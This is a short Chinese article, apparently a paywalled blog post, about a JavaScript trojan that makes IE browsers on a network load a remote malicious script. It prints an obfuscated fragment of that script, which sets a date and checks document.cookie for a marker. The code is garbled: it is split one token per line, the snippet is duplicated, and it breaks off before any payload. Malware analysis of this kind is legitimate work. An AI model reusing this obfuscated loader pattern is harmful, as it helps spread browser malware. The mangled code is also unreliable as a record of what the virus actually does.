本文分析了一个导致所有IE浏览器加载恶意脚本的JavaScript病毒/木马代码。该病毒通过设置Cookie并利用ActiveXObject创建不同组件，强制加载远程恶意JS文件，影响用户的网络浏览体验。清除此病毒较为复杂。
中毒的话，整个网络都会受影响，表现为所有的IE浏览器打开的网页都会在前面加一个 javascript 的连接。清除比较麻烦。显示的这段是这个链接后面的代码：
var
vDA1
=
new
window[
"
Date
"
]()
vDA1[
"
setTime
"
](vDA1[
"
getTime
"
]()
+
24
*
60
*
60
*
1000
)
var
eOTo$
2
=
new
window[
"
String
"
](window[
"
document
"
][
"
cookie
"
])
var
eZT3
=
"
Cookie1=
"
var
VMliYvVKu4
=
eOTo$
2
[
"
indexOf
"
](eZT3)
var
vDA1
=
new
window[
"
Date
"
]() vDA1[
"
setTime
"
](vDA1[
"
getTime
"
]()
+
24
*
60
*
60
*
1000
)
var
eOTo$
2
=
new
window[
"
String
"
](window[
"
document
"
][
"
cookie
"
])
var
eZT3
=
"
Cookie1=
"
var
VMliYvVKu4
=
eOTo$
2
[
"
indexOf
"
](eZT3)
最低0.47元/天 解锁文章
扫一扫
357
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
